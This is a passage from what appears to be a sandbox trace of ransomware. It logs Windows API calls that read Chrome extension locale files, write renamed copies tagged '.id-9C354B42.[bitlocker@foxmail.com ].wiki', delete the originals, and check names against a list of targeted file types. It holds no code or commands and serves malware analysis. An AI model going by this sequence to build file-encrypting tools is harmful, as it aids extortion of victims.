lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.495] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.495] SetEndOfFile (hFile=0x2dc) returned 1 [0176.495] CloseHandle (hObject=0x2dc) returned 1 [0176.495] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.495] SetEndOfFile (hFile=0x19c) returned 1 [0176.496] CloseHandle (hObject=0x19c) returned 1 [0176.496] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.496] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json")) returned 1 [0176.496] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.496] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.496] lstrlenW (lpString=".doc") returned 4 [0176.496] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.496] lstrlenW (lpString=".docx") returned 5 [0176.496] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.496] lstrlenW (lpString=".pdf") returned 4 [0176.496] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.496] lstrlenW (lpString=".xls") returned 4 [0176.497] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.497] lstrlenW (lpString=".xlsx") returned 5 [0176.497] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.497] lstrlenW (lpString=".ppt") returned 4 [0176.497] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.497] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.497] lstrlenW (lpString=".zip") returned 4 [0176.497] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.497] lstrlenW (lpString=".rar") returned 4 [0176.497] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.497] lstrlenW (lpString=".bz2") returned 4 [0176.497] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.497] lstrlenW (lpString=".7z") returned 3 [0176.497] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.497] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.497] lstrlenW (lpString=".dbf") returned 4 [0176.497] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.497] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.497] lstrlenW (lpString=".1cd") returned 4 [0176.497] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.497] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.497] lstrlenW (lpString=".jpg") returned 4 [0176.497] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.497] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.497] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.497] lstrlenW (lpString=".doc") returned 4 [0176.497] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.497] lstrlenW (lpString=".docx") returned 5 [0176.497] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.497] lstrlenW (lpString=".pdf") returned 4 [0176.498] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.498] lstrlenW (lpString=".xls") returned 4 [0176.498] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.498] lstrlenW (lpString=".xlsx") returned 5 [0176.498] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.498] lstrlenW (lpString=".ppt") returned 4 [0176.498] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.498] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.498] lstrlenW (lpString=".zip") returned 4 [0176.498] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.498] lstrlenW (lpString=".rar") returned 4 [0176.498] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.498] lstrlenW (lpString=".bz2") returned 4 [0176.498] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.498] lstrlenW (lpString=".7z") returned 3 [0176.498] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.498] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.498] lstrlenW (lpString=".dbf") returned 4 [0176.498] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.498] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.498] lstrlenW (lpString=".1cd") returned 4 [0176.498] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.498] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json") returned 154 [0176.498] lstrlenW (lpString=".jpg") returned 4 [0176.498] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.498] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.499] lstrlenW (lpString="messages.json") returned 13 [0176.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.499] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=204) returned 1 [0176.499] CloseHandle (hObject=0x19c) returned 1 [0176.499] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json")) returned 0x2020 [0176.499] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.499] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.499] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.499] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.500] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.500] GetLastError () returned 0x0 [0176.500] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xcc, lpOverlapped=0x0) returned 1 [0176.501] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0176.502] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.502] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.502] SetEndOfFile (hFile=0x2dc) returned 1 [0176.502] CloseHandle (hObject=0x2dc) returned 1 [0176.502] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.502] SetEndOfFile (hFile=0x19c) returned 1 [0176.503] CloseHandle (hObject=0x19c) returned 1 [0176.503] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.503] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json")) returned 1 [0176.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.503] lstrlenW (lpString=".doc") returned 4 [0176.503] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.503] lstrlenW (lpString=".docx") returned 5 [0176.504] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.504] lstrlenW (lpString=".pdf") returned 4 [0176.504] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.504] lstrlenW (lpString=".xls") returned 4 [0176.504] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.504] lstrlenW (lpString=".xlsx") returned 5 [0176.504] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.504] lstrlenW (lpString=".ppt") returned 4 [0176.504] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.504] lstrlenW (lpString=".zip") returned 4 [0176.504] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.504] lstrlenW (lpString=".rar") returned 4 [0176.504] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.504] lstrlenW (lpString=".bz2") returned 4 [0176.504] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.504] lstrlenW (lpString=".7z") returned 3 [0176.504] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.504] lstrlenW (lpString=".dbf") returned 4 [0176.504] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.504] lstrlenW (lpString=".1cd") returned 4 [0176.504] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.504] lstrlenW (lpString=".jpg") returned 4 [0176.504] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.504] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.504] lstrlenW (lpString=".doc") returned 4 [0176.505] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.505] lstrlenW (lpString=".docx") returned 5 [0176.505] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.505] lstrlenW (lpString=".pdf") returned 4 [0176.505] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.505] lstrlenW (lpString=".xls") returned 4 [0176.505] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.505] lstrlenW (lpString=".xlsx") returned 5 [0176.505] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.505] lstrlenW (lpString=".ppt") returned 4 [0176.505] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.505] lstrlenW (lpString=".zip") returned 4 [0176.505] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.505] lstrlenW (lpString=".rar") returned 4 [0176.505] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.505] lstrlenW (lpString=".bz2") returned 4 [0176.505] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.505] lstrlenW (lpString=".7z") returned 3 [0176.505] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.505] lstrlenW (lpString=".dbf") returned 4 [0176.505] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0176.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.505] lstrlenW (lpString=".1cd") returned 4 [0176.505] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0176.505] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\messages.json") returned 151 [0176.505] lstrlenW (lpString=".jpg") returned 4 [0176.505] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0176.506] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0176.506] lstrlenW (lpString="messages.json") returned 13 [0176.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.506] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=227) returned 1 [0176.506] CloseHandle (hObject=0x19c) returned 1 [0176.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json")) returned 0x2020 [0176.506] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0176.506] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0176.506] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.507] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.507] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0176.507] GetLastError () returned 0x0 [0176.507] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xe3, lpOverlapped=0x0) returned 1 [0176.508] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0176.509] ReadFile (in: hFile=0x19c, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0176.509] WriteFile (in: hFile=0x2dc, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0176.509] SetEndOfFile (hFile=0x2dc) returned 1 [0176.509] CloseHandle (hObject=0x2dc) returned 1 [0176.509] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0176.509] SetEndOfFile (hFile=0x19c) returned 1 [0176.510] CloseHandle (hObject=0x19c) returned 1 [0176.510] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0176.510] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json")) returned 1 [0176.510] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.510] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.511] lstrlenW (lpString=".doc") returned 4 [0176.511] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0176.511] lstrlenW (lpString=".docx") returned 5 [0176.511] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0176.511] lstrlenW (lpString=".pdf") returned 4 [0176.511] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0176.511] lstrlenW (lpString=".xls") returned 4 [0176.511] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0176.511] lstrlenW (lpString=".xlsx") returned 5 [0176.511] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0176.511] lstrlenW (lpString=".ppt") returned 4 [0176.511] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0176.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\messages.json") returned 155 [0176.511] lstrlenW (lpString=".zip") returned 4 [0176.511] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0176.511] lstrlenW (lpString=".rar") returned 4 [0176.511] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0176.511] lstrlenW (lpString=".bz2") returned 4 [0176.511] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0176.511] lstrlenW (lpString=".7z") returned 3 [0176.511] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0176.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 